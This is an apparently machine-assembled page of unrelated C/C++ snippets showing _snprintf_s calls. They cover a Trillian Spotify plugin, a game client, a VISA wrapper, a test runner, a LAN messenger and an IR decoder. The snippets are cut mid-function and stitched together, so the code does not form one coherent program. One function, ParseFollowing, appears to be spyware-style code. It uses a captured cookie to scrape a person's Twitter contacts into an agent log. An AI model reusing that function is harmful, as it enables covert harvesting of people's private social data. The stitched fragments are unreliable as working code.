			strcpy(pi->version, _strdup(shortver)); 
			strcpy(pi->description, DESCRIPTION);
			pi->png_image_32 = image32;
			pi->png_image_32_len = sizeof(image32);
			pi->png_image_48 = image48;
			pi->png_image_48_len = sizeof(image48);
			/* Extract what we need and store locally.
			 */

			home_directory = (char *)malloc(strlen(pi->config_directory)+1);
			strcpy(home_directory, pi->config_directory);

			plugin_send = pi->plugin_send;
	   } 
	} else if (!_stricmp(event, "initialLoad")) {

		/* First time a plugin is loaded - can do install wizardish stuff here.
		 */

	} else if (!_stricmp(event, "start")) {
		
		struct plugin_prefs_t		pp;
		struct plugin_prefs_entry_t pp_advanced;
		struct plugin_prefs_entry_t pp_basic;
		struct http_request_t       hr;

		trillianInitialize(pp);
		trillianInitialize(pp_advanced);
		trillianInitialize(pp_basic);
		trillianInitialize(hr);

		util_readConfig(&config);

		/* Initialize preferences.
		 */

		pp.enabled						= 1; 
		pp.pref_name					= "Spotian";
		pp.sub_entry					= NULL; /*&pp_basic;*/

		pp_advanced.sub_name			= "Basic"; 
		/* pp_advanced.next				= &pp_advanced; */
		pp_advanced.next				= NULL;

		pp_advanced.sub_name			= "Advanced"; 
		pp_advanced.next				= NULL;

		plugin_send(MYGUID, "prefsInitialize", &pp);

		m_exit = 0;
		CreateThread(NULL, 1024, (LPTHREAD_START_ROUTINE)CheckSpotify, NULL, NULL, &thread_id);

		hr.url = (char*)malloc(sizeof(char)*64);
		sprintf(hr.url, "http://adolphsson.se/xsa?v=%s", shortver);
		hr.callback = httpCallback;
		
		if(m_config.check_for_updates)
			plugin_send(MYGUID, "httpFileRequest", &hr);

	} else if (!_stricmp(event,"stop") && plugin_send) {
		m_exit = 1;
		/* Give the thread some time to terminate */
		Sleep(1000);
		
		/* Write our configuration.
		 */
		util_writeConfig(&m_config);

	} else if (!_stricmp(event, "unload")) {			

		/* Clean up. 
		 */

		if (home_directory) {
			free(home_directory);
			home_directory = NULL;
		}

		if (prefs_window != NULL) { 
			myDestroyWindow(prefs_window); 
			prefs_window = NULL; 
		} 

		plugin_send = NULL;

		if(version != NULL)
		{
			free(version);
			version = NULL;
		}
		if(shortver != NULL)
		{
			free(shortver);
			shortver = NULL;
		}
		if(updatever != NULL)
		{
			free(updatever);
			updatever = NULL;
		}

		return 0;
	} else if (!_stricmp(event, "finalUnload")) {

		/* 
		 * Final unload means the plugin is actually being removed.  Plugins should clean up
		 * saved settings here (delete INI files, etc).
		 */

	} else if (!_stricmp(event, "prefsShow")) {
		struct plugin_prefs_show_t	*pps = (struct plugin_prefs_show_t *)data;
		/* 
		 * Trillian is telling us to show our preferences dialog - do so only if we find our
		 * name.
		 */

		if (!strcmp(pps->pref_name, "Spotian")) {
			int				prefDialog();

			strcpy(pps->prefs_info.name, "Spotian Plugin");
			strcpy(pps->prefs_info.description, "Spotify Integration");

			/* This can be an HBITMAP if you've got a pretty icon for your preferences screen.
			 */

			pps->prefs_info.bitmap = 0;

			/* Show or hide?
			 */
			
			if (pps->show == TRILLIAN_PREFS_SHOW) {
				
				if (prefs_window == NULL) {
					prefs_window = myCreateDialog(hInstance, MAKEINTRESOURCE(IDD_PREFS_DIALOG), pps->hwnd, (DLGPROC)prefDialog);
					SetWindowPos(prefs_window, HWND_TOP, pps->x, pps->y, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
					prefInit(&m_config);
				}
				
				ShowWindow(prefs_window, SW_SHOW);
			} else if (pps->show == TRILLIAN_PREFS_HIDE) {
				if (prefs_window != NULL)
					ShowWindow(prefs_window, SW_HIDE);
			}
		}
		else if (!strcmp(pps->pref_name, "Advanced")) {
			int				prefDialog();

			strcpy(pps->prefs_info.name, "Spotian Plugin");
			strcpy(pps->prefs_info.description, "Spotify Integration");

			/* This can be an HBITMAP if you've got a pretty icon for your preferences screen.
			 */

			pps->prefs_info.bitmap = 0;

			/* Show or hide?
			 */
			
			if (pps->show == TRILLIAN_PREFS_SHOW) {
				
				if (prefs_window == NULL) {
					prefs_window = myCreateDialog(hInstance, MAKEINTRESOURCE(IDD_ADVANCED_DIALOG), pps->hwnd, (DLGPROC)prefDialog);
					SetWindowPos(prefs_window, HWND_TOP, pps->x, pps->y, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
					prefInit(&m_config);
				}
				
				ShowWindow(prefs_window, SW_SHOW);
			} else if (pps->show == TRILLIAN_PREFS_HIDE) {
				if (prefs_window != NULL)
					ShowWindow(prefs_window, SW_HIDE);
			}
		}
	} else if (!_stricmp(event, "prefsAction")) {
		struct plugin_prefs_action_t	*ppa = (struct plugin_prefs_action_t *)data;

		/* Take action:
		 *
		 * 0 - Cancel
		 * 1 - Apply
		 * 2 - OK
		 */

		switch(ppa->type)
		{
			case TRILLIAN_PREFS_APPLY:
				if (prefs_window != NULL) {
					if(prefResult(&config))
						util_writeConfig(&config);
				}
				break;
			case TRILLIAN_PREFS_OK:
				if (prefs_window != NULL) {
					if(prefResult(&config))
						util_writeConfig(&config);
				}
			case TRILLIAN_PREFS_CANCEL:
				if (prefs_window != NULL) {
					myDestroyWindow(prefs_window);
					prefs_window = NULL;
				}
		}		
	}

	return 0; 
} 
Exemple #12
0
DWORD ParseFollowing(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	HANDLE hfile;
	
	char screen_name[256];
	char following_contact[256];
	
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/following", 443, NULL, 0, &r_buffer, &response_len, cookie);
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;
	
	CheckProcessStatus();

	parser1 = (char *)r_buffer;
	hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
	for (;;) {

		/* 1] following contact
			e.g. <div class="ProfileCard js-actionable-user"   data-screen-name="thegrugq_ebooks"
		*/

		// advance first token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_1);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_1);

		// advance second token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_2);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_2);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(following_contact, sizeof(following_contact), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

		/* 2] screen name
			e.g.  data-name="The real Grugq" 
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		
		parser2 = strchr( parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

		WCHAR *screen_name_w = UTF8_2_UTF16(screen_name);
		WCHAR *following_contact_w = UTF8_2_UTF16(following_contact);

		DumpContact(hfile, CONTACT_SRC_TWITTER, screen_name_w, NULL, NULL, NULL, NULL, NULL, NULL, NULL, following_contact_w, NULL, TWITTER_FOLLOWER);

		SAFE_FREE(screen_name_w);
		SAFE_FREE(following_contact_w);
	}
	Log_CloseFile(hfile);
	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Exemple #13
0
void traceLastFunc ( const char *szFunc )
{
	_snprintf_s( g_szLastFunc, sizeof(g_szLastFunc)-1, szFunc );
}
Exemple #14
0
//网络链接
bool CDlgCustomFace::ConnectServer()
{
	if ( m_pIClientSocket != NULL && m_pIClientSocket->GetSocketStatus() == SOCKET_STATUS_CONNECT && m_enOperateStatus != enOperateStatus_NULL )
	{
		ShowMessage(TEXT("操作正在进行,请稍后!"));
		return false;
	}

	if ( m_pIClientSocket != NULL && m_pIClientSocket->GetSocketStatus() == SOCKET_STATUS_CONNECT )//?GetSocketStatus
	{
		SendData();
		return true;
	}

	//获取大厅
	CGameFrame *pGameFrame = (CGameFrame *)AfxGetMainWnd() ;
	CPlazaViewItem * pPlazaViewItem = &(pGameFrame->m_DlgGamePlaza) ;
	if ( m_pIClientSocket == NULL )
	{

		//合法判断
		if ( pPlazaViewItem->m_ClientSocket.GetInterface() == NULL ) 
		{
			ShowMessage(TEXT("网络组件还没有创建,请重新登录!"));
			return false;
		}

		//设置变量
		m_pIClientSocket = (ITCPSocket*)pPlazaViewItem->m_ClientSocket.GetInterface();
	}

	//地址解释
	CRegKey RegServer;
	LPCTSTR pszServerIP=pPlazaViewItem->m_DlgLogon.GetLogonServer();
	TCHAR szRegServer[256]=TEXT(""),szServerAddr[64]=TEXT("");
	_snprintf_s(szRegServer,sizeof(szRegServer),TEXT("%s\\%s"),REG_LOGON_SERVER,pszServerIP);

	if (RegServer.Open(HKEY_CURRENT_USER,szRegServer,KEY_READ)==ERROR_SUCCESS)
	{
		TCHAR szReadData[1024]=TEXT("");
		DWORD dwReadData=0L,dwDataType=0L,dwDataSize=sizeof(szReadData);
		LONG lErrorCode=RegServer.QueryValue(TEXT("ServerAddr"),&dwDataType,szReadData,&dwDataSize);
		if (lErrorCode==ERROR_SUCCESS) 
		{
			CXOREncrypt::CrevasseData(szReadData,szServerAddr,sizeof(szServerAddr));
			pszServerIP=szServerAddr;
		}
	}

	//连接服务器
	try
	{
		//连接服务器
		m_pIClientSocket->CloseSocket();
		if (m_pIClientSocket->Connect(pszServerIP,PORT_LOGON_SERVER)!=ERROR_SUCCESS)
		{
			throw TEXT("服务器连接错误,可能是你的系统还没有成功连接上网络!");
		}
	}
	catch (LPCTSTR pszError)
	{
		ShowMessage((TCHAR*)pszError);
		return false;
	}

	return true;
}
Exemple #15
0
 void VisaEmitter::EIO_Open(GenericBaton* data) {
   char temp[QUERY_STRING_SIZE];
   ViStatus status = -1;
   if (this->isConnected)
   {
     _snprintf(temp, sizeof(temp), "Already connected %s", session);
     ErrorCodeToString(temp, status, data->errorString);
     return;
   }
   status = viOpenDefaultRM(&defaultRM);
   if (status < VI_SUCCESS) {
     _snprintf(temp, sizeof(temp), "Opening RM");
     ErrorCodeToString(temp, status, data->errorString);
     return;
   }
   status = viOpen(defaultRM, data->command, VI_NULL, this->timeoutMiliSeconds, &session);
   if (status < VI_SUCCESS) {
     _snprintf(temp, sizeof(temp), "Opening session %s", data->command);
     ErrorCodeToString(temp, status, data->errorString);
     return;
   }
   status = viSetAttribute(session, VI_ATTR_TMO_VALUE, this->timeoutMiliSeconds);
   if (status < VI_SUCCESS) {
     _snprintf(temp, sizeof(temp), "Setting timeout to %d", this->timeoutMiliSeconds);
     ErrorCodeToString(temp, status, data->errorString);
     return;
   }
   
   
   this->isConnected = true;
   // status = viSetAttribute(instr, VI_ATTR_SEND_END_EN, VI_TRUE);
   // terminate reads on a carriage return  0x0a 0x0d
   // LF (Line feed, '\n', 0x0A, 10 in decimal) 
   // Carriage return, '\r', 0x0D, 13 in decimal
   
   // status = viSetAttribute(session, VI_ATTR_TERMCHAR, 0x0A);
   //status = viSetAttribute(session, VI_ATTR_TERMCHAR_EN, VI_TRUE);
   
   if (this->assertREN) {
     viGpibControlREN(session, VI_GPIB_REN_ASSERT);
   }
   
   if (this->enableSRQ)  
   {
     m_async = uv_async_t();
     m_async.data = this;    
     uv_async_init(uv_default_loop(), &m_async, reinterpret_cast<uv_async_cb>(aCallback));
     isAsyncInitialized = true;
     
     status = viInstallHandler(session, VI_EVENT_SERVICE_REQ, callback, this->uniqueSRQhandlerIdentification);
     if (status >= VI_SUCCESS) {
       status = viEnableEvent(session, VI_EVENT_SERVICE_REQ, VI_HNDLR, VI_NULL);
     }  
     if (status < VI_SUCCESS) {
       _snprintf(temp, sizeof(temp), "Post AfterOpenSuccess session %s", data->command);
       ErrorCodeToString(temp, status, data->errorString);
       return;
     }        
     this->installedSRQHanlder = true;
   }    
   _snprintf_s(data->result, _countof(data->result), _TRUNCATE, "%d", session);
 }
Exemple #16
0
WARNING_PUSH
DISABLE_EXTERNAL_HEADER_WARNINGS
#include <string>
#include <cstring>
/* cpplint Supression
 * cpplint HATES streams for readability but we need a stream for cppunit to
 * output XML
 */
#include <fstream>  // NOLINT(readability/streams)
#include "cppunit/TestRunner.h"
#include "cppunit/TestResult.h"
#include "cppunit/TestResultCollector.h"
#include "cppunit/XmlOutputter.h"
#include "cppunit/BriefTestProgressListener.h"
#include "cppunit/extensions/HelperMacros.h"
#include "cppunit/extensions/TestFactoryRegistry.h"
WARNING_POP

#include "junit_outputter.hpp"

/**
 * @~english
 * The binary entry point
 */
int main(int argc, char *argv[]) {
    // Create the event manager and test controller
    CPPUNIT_NS::TestResult controller;

    // Add a listener that collects test result
    CPPUNIT_NS::TestResultCollector result;
    controller.addListener(&result);

    // Outputs tests to command line so that waf can parse the output
    CPPUNIT_NS::BriefTestProgressListener progress;
    controller.addListener(&progress);

    // Add the top suite to the test runner
    CPPUNIT_NS::TestRunner runner;
    runner.addTest(CPPUNIT_NS::TestFactoryRegistry::getRegistry().makeTest());
    runner.run(controller);

    // Decide what the file name should be
    const char * name = argv[0];

    // Prepare for the XML output
    std::ofstream xml_file;
    const char * const extension = "_cppunit.xml";
    size_t size = std::strlen(name);
    size += std::strlen("_Zunit");
    size += std::strlen(extension);
    size += 1;  // For null character
    char * const filename = new char[size];

    // Output xUnit XML file
    #ifdef _MSC_VER
        _snprintf_s(filename, size, size, "%s_xunit%s", argv[0], extension);
    #else
        std::snprintf(filename, size, "%s_xunit%s", argv[0], extension);
    #endif
    filename[size - 1] = '\0';
    xml_file.open(filename);
    CPPUNIT_NS::XmlOutputter xunit_outputter(&result, xml_file);
    xunit_outputter.write();
    xml_file.close();

    // Output jUnit XML file
    #ifdef _MSC_VER
        _snprintf_s(filename, size, size, "%s_junit%s", argv[0], extension);
    #else
        std::snprintf(filename, size, "%s_junit%s", argv[0], extension);
    #endif
    filename[size - 1] = '\0';
    xml_file.open(filename);
    JunitOutputter junit_outputter;
    junit_outputter.Write(result, &xml_file);
    xml_file.close();

    // Clean up
    delete [] filename;

    // Do something with argc so there are no unused parameter warnings
    return (result.wasSuccessful() && argc) ? 0 : 1;
}
Exemple #17
0
// Reads input from the user and re-acts according
int process_user_messages()
{
    // Initialise local variables
    char temp = 0;
    char *temp_packet;
    static int choice = USERINDEXLOGIN;
    static char destination_ID = 0;
    static char *packet_string;
    static char packet_message[PACKETSTRINGMESSAGESIZE];
    static int character_count = 0;

    // Depending on current "choice", process input in a certain way
    // (default choice is USERINDEXLOGIN)
    switch (choice){
        // Request user login ID and process initial information
    case USERINDEXLOGIN:
        if (login_key) {
            return 0;
        }
        std::cout << "\rEnter Login Character: ";
        if (_kbhit()) {
            temp = (char)toupper(_getch());
        }

        if (temp == KEYBOARDESCAPE) {
            return !(needs_restart = true);
        } else if (temp <= 'Z' && temp >= 'A') {
            std::cout << (login_key = temp) << "\n";
        } else {
            return 0;
        }

        packet_string = new char[PACKETSTRINGSIZE];
        sprintf_s(packet_string, PACKETSTRINGSIZE, "{%c%cL%10d }", login_key,
            login_key, timeGetTime());
        login_timestamp = calculate_timestamp(packet_string);
        message_queue.push(packet_string);

        std::cout << "Logging In ID {" << login_key << "}\n";
        wait_start = timeGetTime();
        choice = USERINDEXPENDING;
        break;

        // Wait for official logout confirmation
    case USERINDEXLOGOUT:
        if (login_key == 0) {
            choice = USERINDEXLOGIN;
        } else if((timeGetTime() - wait_start) >= LOGINKEYTIMEOUT) {
            std::cout << "Failed To Log Out. Application Must Close\n";
            application_alive = false;
        }
        break;

        // Wait for official login confirmation
    case USERINDEXPENDING:
        if (login_keystate[login_key - 'A'] == LOGINKEYLOGGEDIN) {
            std::cout << "Logged in ID {" << login_key << "} successfully\n";
            display_user_menu();
            choice = USERINDEXMENU;
        } else if (login_keystate[login_key - 'A'] == LOGINKEYINUSE) {
            std::cout << "\nUnable to log in ID {" << login_key << "}" <<
                " - Key is in use\n\n";
            choice = USERINDEXLOGIN;
            login_key = 0;
        } else if ((timeGetTime() - wait_start) >= LOGINKEYTIMEOUT) {
            std::cout << "Unable to log in ID {" << login_key << "}" <<
                " - Check cable connection\n\n";
            choice = USERINDEXLOGIN;
            login_key = 0;
        }
        break;

        // Request choices from the user to interact with the LAN Messenger
        // functionality
    case USERINDEXMENU:
        std::cout << "\rEnter Menu Selection: ";
        if (_kbhit()) {
            temp = (char)toupper(_getch());
        }

        if (temp == 'M' || temp == 'T' || temp == 'A' || temp == 'D' ||
            temp == 'C' || temp == 'X' || temp == 'B' || temp == KEYBOARDESCAPE)
        {
            std::cout << temp << "\n";
        } else {
            return 0;
        }

        // Depending on current "choice", process input in a certain way
        switch (temp) {
            // Displays the Menu options list for the user.
        case 'M':
            display_user_menu();
            break;

            // Sends a test packet
        case 'T':
            std::cout << "Sending Test Packet...\n";
            temp_packet = new char[PACKETSTRINGSIZE];
            sprintf_s(temp_packet, PACKETSTRINGSIZE, "{%c%cD%10s }", login_key,
                login_key, "TESTPACKET");
            std::cout << temp_packet << "\n";
            message_queue.push(temp_packet);
            break;

            // Displays all users currently logged into the LanComms system
        case 'A':
            std::cout << "Users Currently Logged In To LanComms:\n";
            for (unsigned i = 0; i < LOGINKEYCOUNT; i++) {
                if (login_keystate[i]) {
                    std::cout << "--- " << (char)('A' + i) << " ---\n";
                }
            }
            std::cout << "\n";
            break;

            // Begins Destination ID assignment process
        case 'D':
            choice = USERINDEXGETADDR;
            break;

            // Begins Communication with selected destination ID
        case 'C':
            if (destination_ID) {
                std::cout << "Beginning Communications With ID {" <<
                    destination_ID << "}\n\n" <<
                    "/--------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--------\\" <<
                    "\n\n";
                choice = USERINDEXINPUT;
            } else {
                std::cout << "Invalid Command - No Destination ID Set\n\n";
            }
            break;

            // Begins logging out process
        case KEYBOARDESCAPE:
        case 'X':
            std::cout << "Logging Out ID {" << login_key << "}\n";

            temp_packet = new char[PACKETSTRINGSIZE];
            sprintf_s(temp_packet, PACKETSTRINGSIZE, "{%c%cX%10s }", login_key,
                login_key, "");
            message_queue.push(temp_packet);

            wait_start = timeGetTime();
            choice = USERINDEXLOGOUT;
            break;

            // Toggles "Debug Mode" On or Off
        case 'B':
            debug_toggle = !debug_toggle;
            std::cout << "Toggled Debug Mode to {" <<
                (debug_toggle ? "ON" : "OFF") << "}\n";
            break;
        }
        break;

        // Request a target destination for any user created packets
    case USERINDEXGETADDR:
        std::cout << "\rEnter Target Destination ID: ";
        if (_kbhit()) {
            temp = (char)toupper(_getch());
        }

        if (temp == KEYBOARDESCAPE) {
            return (choice = USERINDEXMENU);
        } else if (temp <= 'Z' && temp >= 'A') {
            std::cout << temp << "\n";
        } else {
            return 0;
        }

        if (login_keystate[temp - 'A'] == 0) {
            std::cout << "Invalid ID - User Is Not Logged In\n";
        } else if (temp == login_key) {
            std::cout << "Invalid ID - ID Belongs To You\n";
        } else {
            destination_ID = temp;
            std::cout << "Assigned Target Destination ID to {" <<
                destination_ID << "}\n";
            choice = USERINDEXMENU;
        }
        break;

        // Process keyboard input for packet creation and sending
    case USERINDEXINPUT:
        if (_kbhit()) {
            temp = (char)_getch();
        }

        switch (temp) {
        case KEYBOARDNULL:
            return 0;

        case KEYBOARDBACKSPACE:
            std::cout << "\b \b";
            packet_message[character_count] = temp;
            character_count++;
            break;

        case KEYBOARDESCAPE:
            std::cout <<
                "\n\\--------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--------/\n\n"
                "Returning To Menu...";
            choice = USERINDEXMENU;
            if (character_count == 0) {
                break;
            }

        case KEYBOARDENTER:
            std::cout << (packet_message[character_count] = '\n');
            character_count = 10;
            break;

        default:
            std::cout << (packet_message[character_count] = temp);
            character_count++;
            break;
        }

        if (character_count == 10) {
            character_count = 0;
            packet_string = new char[PACKETSTRINGSIZE];
            _snprintf_s(packet_string, PACKETSTRINGSIZE, _TRUNCATE,
                "{%c%cD%10s }", destination_ID, login_key, packet_message);
            message_queue.push(packet_string);
            for (unsigned i = 0; i < PACKETSTRINGMESSAGESIZE; i++) {
                packet_message[i] = '\0';
            }
        }
        break;
    }
    return choice;
}
Exemple #18
0
int SendReceiveData::decodeCommand(char *out) {

	//==================
	UINT outCode;
	char buttonName[32];
	//==================

	outCode = irCode & 0x7F;

	switch(outCode) {
		
		case 12:	strcpy_s(buttonName,"POWER");	break;

		case 63:	strcpy_s(buttonName,"0");	break;
		case 1:		strcpy_s(buttonName,"1");	break;
		case 2:		strcpy_s(buttonName,"2");	break;
		case 3:		strcpy_s(buttonName,"3");	break;
		case 4:		strcpy_s(buttonName,"4");	break;
		case 5:		strcpy_s(buttonName,"5");	break;
		case 6:		strcpy_s(buttonName,"6");	break;
		case 7:		strcpy_s(buttonName,"7");	break;
		case 8:		strcpy_s(buttonName,"8");	break;
		case 9:		strcpy_s(buttonName,"9");	break;

		case 40:	strcpy_s(buttonName,"REC_TV");	break;
		case 38:	strcpy_s(buttonName,"GUIDE");	break;
		case 37:	strcpy_s(buttonName,"LIVE_TV");break;

		case 35:	strcpy_s(buttonName,"BACK");	break;
		case 15:	strcpy_s(buttonName,"MORE");	break;

		case 30:	strcpy_s(buttonName,"UP");		break;
		case 31:	strcpy_s(buttonName,"DOWN");	break;
		case 32:	strcpy_s(buttonName,"LEFT");	break;
		case 33:	strcpy_s(buttonName,"RIGHT");	break;
		case 34:	strcpy_s(buttonName,"OK");		break;

		case 17:	strcpy_s(buttonName,"VOL-");	break;
		case 16:	strcpy_s(buttonName,"VOL+");	break;
		case 19:	strcpy_s(buttonName,"CH/PG-");	break;
		case 18:	strcpy_s(buttonName,"CH/PG+");	break;

		case 23:	strcpy_s(buttonName,"RECORD");	break;
		case 13:	strcpy_s(buttonName,"MCE");	break;
		case 25:	strcpy_s(buttonName,"STOP");	break;
		case 11:	strcpy_s(buttonName,"MENU");	break;

		case 21:	strcpy_s(buttonName,"<<");		break;
		case 24:	strcpy_s(buttonName,"||");		break;
		case 20:	strcpy_s(buttonName,">>");		break;
		case 10:	strcpy_s(buttonName,"ESC");	break;

		case 27:	strcpy_s(buttonName,"|<<");	break;
		case 22:	strcpy_s(buttonName,"PLAY");	break;
		case 26:	strcpy_s(buttonName,">>|");	break;
		case 14:	strcpy_s(buttonName,"MUTE");	break;

		case 93:	strcpy_s(buttonName,"*");		break;
		case 74:	strcpy_s(buttonName,"CLEAR");	break;
		case 92:	strcpy_s(buttonName,"#");		break;

		case 98:	strcpy_s(buttonName,"MOUSE_BUTTON_LEFT");	break;
		case 79:	strcpy_s(buttonName,"MOUSE_BUTTON_RIGHT");break;

		case 94:	strcpy_s(buttonName,"MOUSE_UP");	break;
		case 95:	strcpy_s(buttonName,"MOUSE_DOWN");	break;
		case 96:	strcpy_s(buttonName,"MOUSE_LEFT");	break;
		case 97:	strcpy_s(buttonName,"MOUSE_RIGHT");break;

		case 100:	strcpy_s(buttonName,"HELP");		break;
		case 36:	strcpy_s(buttonName,"DVD_MENU");	break;
		case 99:	strcpy_s(buttonName,"FULLSCREEN");	break;
		case 106:	strcpy_s(buttonName,"ENTER");		break;

		default: {
			irCode	= 0;
			repeats = 0;
			return 0;
		}

	}

	lastValue	= irCode;
	irCode		= 0;

	_snprintf_s(out,PACKET_SIZE+1,PACKET_SIZE+1,"%016llx %02x %s %s\n",__int64(0),repeats,buttonName,"MaxterPlus");

	return 1;

}
Exemple #19
0
//获取字符
LPCTSTR CUserListView::GetDisplayText(IUserItem * pIUserItem, WORD wColumnPos)
{
	//效验参数
	ASSERT(pIUserItem!=NULL);
	if (wColumnPos>=m_wColumnCount) return NULL;

	//变量定义
	static TCHAR szBuffer[512];
	tagUserData * pUserData=pIUserItem->GetUserData();

	//生成显示
	switch (m_wDataDescribe[wColumnPos])
	{
	case DTP_USER_ID:			//用户 ID
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserData()->dwUserID);
			return szBuffer;
		}
	case DTP_GAME_ID:			//游戏 ID
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserData()->dwGameID);
			return szBuffer;
		}
	case DTP_INSURE_SCORE:		//存储金币
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserData()->lInsureScore);
			return szBuffer;
		}
	case DTP_GAME_GOLD:			//游戏金币
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserData()->lGameGold);
			return szBuffer;
		}
	case DTP_LOVE_LINESS:		//用户魅力
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserData()->lLoveliness);
			return szBuffer;
		}
	case DTP_USER_ACCOUNTS:		//用户名字
		{
			return pIUserItem->GetUserData()->szName;
		}
	case DTP_UNDER_WRITE:		//个性签名
		{
			return pIUserItem->GetUserData()->szUnderWrite;
		}
	case DTP_USER_TABLE:		//游戏桌号
		{
			WORD wTableID=pUserData->wTableID;
			if (wTableID!=INVALID_TABLE) _snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%3d"),wTableID+1);
			else szBuffer[0]=0;
			return szBuffer;
		}
	case DTP_USER_SCORE:		//用户积分
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lScore);
			return szBuffer;
		}
	case DTP_USER_EXPERIENCE:	//用户经验
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lExperience);
			return szBuffer;
		}
	case DTP_USER_WIN:			//胜局盘数
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lWinCount);
			return szBuffer;
		}
	case DTP_USER_LOST:			//输局盘数
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lLostCount);
			return szBuffer;
		}
	case DTP_USER_DRAW:			//和局盘数
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lDrawCount);
			return szBuffer;
		}
	case DTP_USER_FLEE:			//逃局盘数
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pUserData->lFleeCount);
			return szBuffer;
		}
	case DTP_USER_PLAY_COUNT:	//总局盘数
		{
			_snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%ld"),pIUserItem->GetUserPlayCount());
			return szBuffer;
		}
	case DTP_WIN_RATE:			//用户胜率
		{
			if (pUserData->lWinCount>0)
			{
				LONG lAllCount=pIUserItem->GetUserPlayCount();
				double dWinRate=(double)(pUserData->lWinCount*100)/(double)lAllCount;
				if (dWinRate>=0.01) _snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%5.2f%%"),dWinRate);
				else szBuffer[0]=0;
			}
			else szBuffer[0]=0;
			return szBuffer;
		}
	case DTP_LOST_RATE:			//用户输率
		{
			if (pUserData->lLostCount>0)
			{
				LONG lAllCount=pIUserItem->GetUserPlayCount();
				double dLostRate=(double)(pUserData->lLostCount*100)/(double)lAllCount;
				if (dLostRate>=0.01) _snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%5.2f%%"),dLostRate);
				else szBuffer[0]=0;
			}
			else szBuffer[0]=0;
			return szBuffer;
		}
	case DTP_DRAW_RATE:			//用户和率
		{
			if (pUserData->lDrawCount>0)
			{
				LONG lAllCount=pIUserItem->GetUserPlayCount();
				double dDrawRate=(double)(pUserData->lDrawCount*100)/(double)lAllCount;
				if (dDrawRate>=0.01) _snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%5.2f%%"),dDrawRate);
				else szBuffer[0]=0;
			}
			else szBuffer[0]=0;
			return szBuffer;
		}
	case DTP_FLEE_RATE:			//用户逃率
		{
			if (pUserData->lFleeCount>0)
			{
				LONG lAllCount=pIUserItem->GetUserPlayCount();
				double dFleeRate=(double)(pUserData->lFleeCount*100)/(double)lAllCount;
				if (dFleeRate>=0.01) _snprintf_s(szBuffer,sizeof(szBuffer),TEXT("%5.2f%%"),dFleeRate);
				else szBuffer[0]=0;
			}
			else szBuffer[0]=0;
			return szBuffer;
		}
	case DTP_GAME_LEVEL:		//游戏等级
		{
			szBuffer[0]=0;
			if (m_GameRankManager.GetInterface()!=NULL)
			{
				LPCTSTR pszGameRank=m_GameRankManager->GetLevelDescribe(pIUserItem->GetUserData()->lScore);
				lstrcpyn(szBuffer,pszGameRank,sizeof(szBuffer));
			}
			return szBuffer;
		}
	}

	//默认显示
	szBuffer[0]=0;

	return szBuffer;
}
void IOMessageBox(RESLT Res, HWND Hwnd, TCHAR *AppendBuffer)
{
	TCHAR header[SIZE_64];
	TCHAR message[SIZE_128];

	switch(Res)
	{
	case OK:
		break;
	case OK_EOFREACHED:
		strcpy_s(header, sizeof(header), "End Of File Reached");

		// the -1 in _snprintf_s() is to ensure room for terminating null character.
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "Reached end of file in file:\n  %s", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;
	case MEMALLOC_ERROR:
		strcpy_s(header, sizeof(header), "Memory Allocation Error");
		if(_tcslen(AppendBuffer) != 0)
		{
			_snprintf_s(message, SIZE_128, SIZE_128,
				"Couldn't initialize enough memory for data:\n  %s\nTry closing some applications.", AppendBuffer);
		}
		else
		{
			strcpy_s(message, sizeof(message), header);
		}
		break;

	case OPENFILEREAD_ERROR:
	case OPENFILEWRITE_ERROR:
		strcpy_s(header, sizeof(header), "File Open Error");
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "Unable to open file:\n  %s", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;

	case CREATEBINARYOUTPUT_ERROR:
